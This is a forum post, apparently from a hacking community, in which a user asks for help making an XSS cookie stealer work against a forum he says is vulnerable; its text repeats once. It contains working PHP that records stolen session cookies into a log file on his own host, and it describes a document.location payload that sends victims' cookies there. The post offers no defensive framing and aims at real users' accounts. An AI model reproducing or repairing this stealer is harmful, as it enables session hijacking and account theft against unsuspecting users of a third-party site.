Nov 28, 2012 04:49 AM
(This post was last modified: Nov 28, 2012 04:49 AM by okol123.)
Hey guys, I am new here and I learned a lot from this site.
I need some help with my cookie stealer: I got a forum target which I found is XSS vulnerable. For some reason when I use document.location script to steal the user's cookie it simply doesn't do anything.
Perhaps I got the syntax wrong, or gave the file wrong perms?
Here's my stealer's PHP script:
With 0777 perms on it.
Also have a cookies.txt file (same dir) with 0777 perms on it.
If you could give me the correct script syntax / stealer, or maybe tell me
what I'm doing wrong that'd be awesome..
P.S: BTW Hosted at hostgator.
Thank you guys!!
I need some help with my cookie stealer: I got a forum target which I found is XSS vulnerable. For some reason when I use document.location script to steal the user's cookie it simply doesn't do anything.
Perhaps I got the syntax wrong, or gave the file wrong perms?
Here's my stealer's PHP script:
Code
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookies.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>Also have a cookies.txt file (same dir) with 0777 perms on it.
If you could give me the correct script syntax / stealer, or maybe tell me
what I'm doing wrong that'd be awesome..
P.S: BTW Hosted at hostgator.
Thank you guys!!



